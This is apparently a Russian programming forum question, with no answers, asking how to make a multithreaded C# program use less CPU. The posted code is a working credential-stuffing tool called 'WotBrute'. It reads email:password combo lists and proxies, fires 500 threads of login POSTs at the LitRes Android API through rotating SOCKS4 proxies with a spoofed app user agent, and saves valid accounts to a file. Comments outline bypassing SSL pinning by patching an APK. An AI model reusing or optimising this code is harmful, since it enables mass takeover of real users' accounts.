Как оптимизировать Multithreading(Thread) C#

Как оптимизируют мультипоток (в парсерах, брутфорсах) так, что при 100 потоках, к примеру, загрузка ЦП около 20%? В отличии, от меня, у которого ЦП 100% на Ryzen 9 3900x. Что странно, при профилировании нагрузка на ЦП 5-10%, а при релизе или дебаге 100% и скорость очень низкая.

View/MainWindow.xaml

<Window Name="WindowFile"
    x:Class="WotBrute.MainWindow"
    xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
    xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
    xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
    mc:Ignorable="d"
    Title="WotBrute" Height="450" Width="800"
    xmlns:materialDesign="http://materialdesigninxaml.net/winfx/xaml/themes"
     TextElement.Foreground="{DynamicResource MaterialDesignBody}"
     TextElement.FontWeight="Regular"
     TextElement.FontSize="13"
     TextOptions.TextFormattingMode="Ideal"
     TextOptions.TextRenderingMode="Auto"
     Background="{DynamicResource MaterialDesignPaper}"
     FontFamily="{DynamicResource MaterialDesignFont}">
<Grid AllowDrop="True" Drop="Grid_Drop">
    <DockPanel>
        <ItemsControl DockPanel.Dock="Top">
            <DockPanel>
                <Button MinWidth="120" HorizontalAlignment="Left" Content="{Binding Path=MainButton}" Background="Black" BorderBrush="{x:Null}" Foreground="#DDFFFFFF" Click="MainButton_Click"/>
                <ProgressBar MinWidth="300" Margin="5 2" Padding="5 5 5 5" Height="Auto" Minimum="0" Maximum="100" Value="{Binding Path=GetToolbarScore}" Foreground="Black" FontFamily="Comic Sans MS" BorderBrush="Black">
                    <ProgressBar.Background>
                        <SolidColorBrush Color="#B2000000"/>
                    </ProgressBar.Background>
                </ProgressBar>
                <TextBox Height="Auto" x:Name="outputPath" HorizontalAlignment="Center" MinWidth="350"
                         Background="Black" Foreground="#DDFFFFFF" CaretBrush="White" VerticalAlignment="Center" ToolTip="Input 'output path' for the results" SelectionBrush="#FF008EFF" BorderBrush="#89FFFFFF"/>
            </DockPanel>
        </ItemsControl>
        <ItemsControl DockPanel.Dock="Top">
            <Grid>
                <DataGrid AutoGenerateColumns="False">
                    <DataGrid.Columns>
                        <DataGridTextColumn IsReadOnly="True" Header="123" Width="*"/>
                    </DataGrid.Columns>
                </DataGrid>
            </Grid>
        </ItemsControl>
        <ItemsControl HorizontalAlignment="Center" VerticalAlignment="Bottom">
            <StackPanel Orientation="Horizontal" DockPanel.Dock="Bottom">
                <GroupBox Header="Accounts:" Margin="20" MinWidth="100">
                    <TextBlock HorizontalAlignment="Center" FontWeight="Bold" Text="{Binding Path=CountOfAccounts}"/>
                </GroupBox>
                <GroupBox Header="Proxy:" Margin="20" MinWidth="100">
                    <TextBlock HorizontalAlignment="Center" FontWeight="Bold" Text="{Binding Path=CountOfProxies}"/>
                </GroupBox>
                <GroupBox Header="Goods:" Margin="20" MinWidth="100">
                    <TextBlock HorizontalAlignment="Center" FontWeight="Bold" Text="{Binding Path=GoodAccounts}"/>
                </GroupBox>
                <GroupBox Header="Bads:" Margin="20" MinWidth="100">
                    <TextBlock HorizontalAlignment="Center" FontWeight="Bold" Text="{Binding Path=BadAccounts}"/>
                </GroupBox>
                <GroupBox Header="Exception:" Margin="20" MinWidth="100">
                    <TextBlock HorizontalAlignment="Center" FontWeight="Bold">0</TextBlock>
                </GroupBox>
            </StackPanel>
        </ItemsControl>
    </DockPanel>
</Grid>

View/MainWindow.xaml.cs

using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Text.RegularExpressions;
using System.Windows;
using System.Windows.Controls;
using WotBrute.ViewModels;

namespace WotBrute
{
    /// <summary>
    /// Логика взаимодействия для MainWindow.xaml
    /// </summary>
    public partial class MainWindow : Window
    {
        MainVM mainVM = new MainVM();
        private ConcurrentQueue<string> uploadedAccounts = new ConcurrentQueue<string>();
        private List<string> uploadedProxies = new List<string>();

        public MainWindow()
        {
            InitializeComponent();
            DataContext = mainVM;
        }

        private void Grid_Drop(object sender, DragEventArgs e)
        {

            if (e.Data.GetDataPresent(DataFormats.FileDrop))
            {
                // можно же перетянуть много файлов, так что....
                string[] files = (string[])e.Data.GetData(DataFormats.FileDrop);
                string oneLine = default;
                Regex mailFindRegex = new Regex(@"[^\n\s]+@[\w\d]+\.[\w\d]+[:|;][^\n]+$");
                Regex proxyFindRegex = new Regex(@"^[\d]+\.[\d]+\.[\d]+\.[\d]+:[\d]+$");

                for(int i = 0; i < files.Length; i++)
                {
                    using (var file = File.OpenRead(files[i]))
                    {
                        using (StreamReader sR = new StreamReader(file))
                        {
                            oneLine = sR.ReadLine();
                            if(oneLine != null)
                            {
                                while (true)
                                {
                                    if (mailFindRegex.Match(oneLine).Value != "")
                                    {
                                        oneLine = mailFindRegex.Match(oneLine).Value;
                                        uploadedAccounts.Enqueue(oneLine);
                                    }

                                    else if (proxyFindRegex.Match(oneLine).Value != "")
                                    {
                                            
                                        oneLine = proxyFindRegex.Match(oneLine).Value;
                                        uploadedProxies.Add(oneLine);
                                    }
                                    oneLine = sR.ReadLine();

                                    if (oneLine == null) break;
                                }
                            }
                        }
                    }
                }
                mainVM.Accounts = uploadedAccounts;
                mainVM.Proxies = uploadedProxies.ToArray();
            }
        }

        private void MainButton_Click(object sender, RoutedEventArgs e)
        {
            if(((TextBox)this.FindName("outputPath")).Text != "")
            {
                if (mainVM.MainButton == "START")
                {
                    mainVM.Start(500, ((TextBox)this.FindName("outputPath")).Text);
                }
                else if (mainVM.MainButton == "STOP")
                {
                    mainVM.IsWorking = false;
                    mainVM.MainButton = "START";
                }
            } else
            {
                MessageBox.Show("Output path(global) is required!!!");
            }
        }
    }
}

ViewModels/MainVM.cs

using System.Collections.Concurrent;
using System.ComponentModel;
using System.Threading;
using System.Windows;
using Test.Models;
using Test.Services;

namespace WotBrute.ViewModels
{
    class MainVM : INotifyPropertyChanged
    {
        private MainModel mainModel;
        private ConcurrentQueue<string> _accounts = new ConcurrentQueue<string>();
        private string[] _proxies;
        private int _countOfAccounts;
        private int _countOfProxies;
        private string _mainButton = default;
        private int _badAccounts = default;
        private int _goodAccounts = default;
        private int ActiveThreads = default;
        private string checkingResult = default;
        private int _getToolbarScore = default;
        static object locker = new object();

        public MainVM()
        {
            MainButton = "START";
        }

        private void ManagedThread()
        {
            while (IsWorking && Accounts.TryDequeue(out string account))
            {
                
                checkingResult = mainModel.CheckAccount(account);
                if (checkingResult == "bad")
                {
                    BadAccounts++;
                }
                else if (checkingResult == "good")
                {
                    GoodAccounts++;
                }
                GetToolbarScore++;
            }


            ActiveThreads--;

            if (ActiveThreads == 0)
            {
                MessageBox.Show("Finishing...");
            }
        }

        public void Start(int Threads, string outputPath)
        {
            if (_accounts.Count != 0 && _proxies.Length != 0)
            {
                MainButton = "STOP";
                mainModel = new MainModel(_accounts, new ProxyProvider(_proxies));
                mainModel.OutputPath = outputPath;
                for (int i = 1; i <= Threads; i++)
                {
                    ActiveThreads++;
                    new Thread(ManagedThread) { IsBackground = true }.Start();
                }
            }

        }

        public int GetToolbarScore
        {
            get { return (BadAccounts + GoodAccounts) * 100 / _countOfAccounts; }
            set { _getToolbarScore = value;
                OnPropertyChanged("GetToolbarScore");
            }
        }

        public bool IsWorking { get; set; } = true;

        public string MainButton
        {
            get { return _mainButton; }
            set { 
                _mainButton = value;
                OnPropertyChanged("MainButton");
            }
        }

        public int GoodAccounts
        {
            get { return _goodAccounts; }
            set
            {
                _goodAccounts = value;
                OnPropertyChanged("GoodAccounts");
            }
        }

        public int BadAccounts {
            get { return _badAccounts; }
            set { 
                _badAccounts = value;
                OnPropertyChanged("BadAccounts");
            }
        }

        public ConcurrentQueue<string> Accounts
        {
            get { return _accounts; }
            set {
                _accounts = value;
                CountOfAccounts = _accounts.Count;
            }
        }


        public int CountOfAccounts
        {
            get { return _countOfAccounts; }
            set { 
                _countOfAccounts = value;
                OnPropertyChanged("CountOfAccounts");
            }
        }

        public int CountOfProxies
        {
            get { return _countOfProxies; }
            set { 
                _countOfProxies = value;
                OnPropertyChanged("CountOfProxies");
            }
        }

        public string[] Proxies
        {
            get { return _proxies; }
            set
            {
                _proxies = value;
                CountOfProxies = _proxies.Length;
            }
        }

        public event PropertyChangedEventHandler PropertyChanged;

        protected virtual void OnPropertyChanged (string propertyName = "")
        {
            PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));
        }
    }
}

Services/ProxyProvider.cs

namespace Test.Services
{
    
    public class ProxyProvider
    {
        private readonly string[] ProxyArray;
        private int ProxyCounter { get; set; }

        public ProxyProvider(string[] Proxy) => ProxyArray = Proxy;

        public string GetProxy()
        {
            if (ProxyCounter >= ProxyArray.Length)
                ProxyCounter = 0;

            return ProxyArray[ProxyCounter++];
        }
    }
}

Models/MainModel.cs

using MaterialDesignThemes.Wpf.Converters.CircularProgressBar;
using System;
using System.Collections.Concurrent;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Web;
using Leaf.xNet;
using HttpRequest = Leaf.xNet.HttpRequest;
using Test.Services;

namespace Test.Models
{
    class MainModel
    {
        private ConcurrentQueue<string> Accounts = new ConcurrentQueue<string>();
        private readonly ProxyProvider ProxyProvider;
        private string outputPath = default;


        public MainModel(ConcurrentQueue<string> accounts, ProxyProvider proxyProvider)
        {
            Accounts = accounts;
            ProxyProvider = proxyProvider;
        }

        public string OutputPath {
            get {  return outputPath; }
            set {  outputPath = value; }
        }

        private void CreateLog(string accountCredentials, string filepath, string status)
        {
            StringBuilder log = new StringBuilder("===============START===============\n");
            log.Append(accountCredentials + "\n");
            log.Append("================END================\n");
            using (FileStream file = new FileStream(filepath + (status == "good" ? "/GoodLog.txt" : "/BadLog.txt"), FileMode.Append))
            {
                byte[] buffer = Encoding.ASCII.GetBytes(log.ToString());
                file.Write(buffer, 0, buffer.Length);
            }
        }

        private void Logger(string status, string accountCredentials)
        {
            if (status == "good")
            {
                CreateLog(accountCredentials, outputPath, "good");
            }
            else
            {
                CreateLog(accountCredentials, outputPath, "bad");
            }
        }

        public string CheckAccount(string accountCredentials)
        {
            try
            {
                string[] UserData = accountCredentials.Split(':');

                using (HttpRequest webClient = new HttpRequest
                {
                    UserAgent = "Android LitRes Read app, v.3.31 (720200720)",
                    Proxy = ProxyClient.Parse(ProxyType.Socks4, ProxyProvider.GetProxy()),
                    Cookies = new CookieStorage()
                })
                {
                    var requestString = "jdata=" + HttpUtility.UrlEncode(
                            $"{{\"uilang\":\"eng\",\"user_id\":\"762320707\",\"time\":\"{time()}\",\"requests\":[{{\"func\":\"w_create_sid\",\"param\":{{\"login\":\"{UserData[0]}\",\"pwd\":\"{UserData[1]}\"}},\"id\":\"request27\"}}],\"sha\":\"{generateSHA()}\",\"mobile_app\":\"4\",\"sid\":\"5566f6dj2r2w9i9z8xbd313807978075\"}}");
                    var resp = webClient.Post("https://android.litres.ru/catalitv2", Encoding.ASCII.GetBytes(requestString), "application/x-www-form-urlencoded");

                    if(resp.ToString().IndexOf("incorrect login or passwd") == -1)
                    {
                        Logger("good", accountCredentials);
                        return "good";
                    } 
                    else
                    {
                        Logger("bad", accountCredentials);
                        return "bad";
                    }
                    
                }
                //
                // WebRequest req = new request()
                // req.CheckCert => ValidateCert;


                // static bool ValidateCert(Cert crt){

                // if (crt.PubKey != "ORIGINAL_PUBKEY_HASH") return true

                // -> .dex -> BYTE-CODE -> ret false // ret true -> APK-> signing -> Installing

                //}
                //
                // Android -> [JVM] -> ByteCode -> NativeCode 
                // .APK -> Class (.dex) -> Jadx-GUI -> byte-code -> JAVA CODE 

                // Native -> REST API -> HTTP + SSL_PINNING

                // Lites -> REST API -> JSON

                // TCP / UDP -> SERVER -> 

                // WinAPI

                // Auth -> ws2.32.dll / wininnet.dll / winsock.dll

                // Auth func
                // SendToServer
                // EncryptPacket
                // AppendHeaders

                // ws2.32.dll
                // - send (dest_ip, []buffer [0xF39393], length) <- Breakpoint
                // - sendTo()
                // - recv ()
                // - recvFrom()


                // using (Stream stream = req.GetRequestStream())
                // {
                //     byte[] buffer = Encoding.ASCII.GetBytes("jdata=" + HttpUtility.UrlEncode($"{{\"uilang\":\"eng\",\"user_id\":\"762320707\",\"time\":\"{time()}\",\"requests\":[{{\"func\":\"w_create_sid\",\"param\":{{\"login\":\"{UserData[0]}\",\"pwd\":\"{UserData[1]}\"}},\"id\":\"request27\"}}],\"sha\":\"{generateSHA()}\",\"mobile_app\":\"4\",\"sid\":\"5566f6dj2r2w9i9z8xbd313807978075\"}}"));
                //     stream.Write(buffer, 0, buffer.Length);
                // }
                // using (HttpWebResponse resp = (HttpWebResponse)req.GetResponse())
                // {
                //     using (StreamReader sR = new StreamReader(resp.GetResponseStream()))
                //     {
                //         
                //     }
                // }
            }
            catch (Exception)
            {
                Accounts.Enqueue(accountCredentials);
                return "exception";
            }
        }

        private string generateSHA()
        {
            return "";
        }

        private string time()
        {
            DateTime date = new DateTime(1970, 1, 1);
            string Miliseconds = (DateTime.UtcNow - date).TotalMilliseconds.ToString().Split(',')[0];
            var timeFormat = date.AddMilliseconds(double.Parse(Miliseconds)).ToString("yyyy-MM-dd'T'HH:mm:ss+00:00");
            return timeFormat;
        }
    }
}

Ответы (0 шт):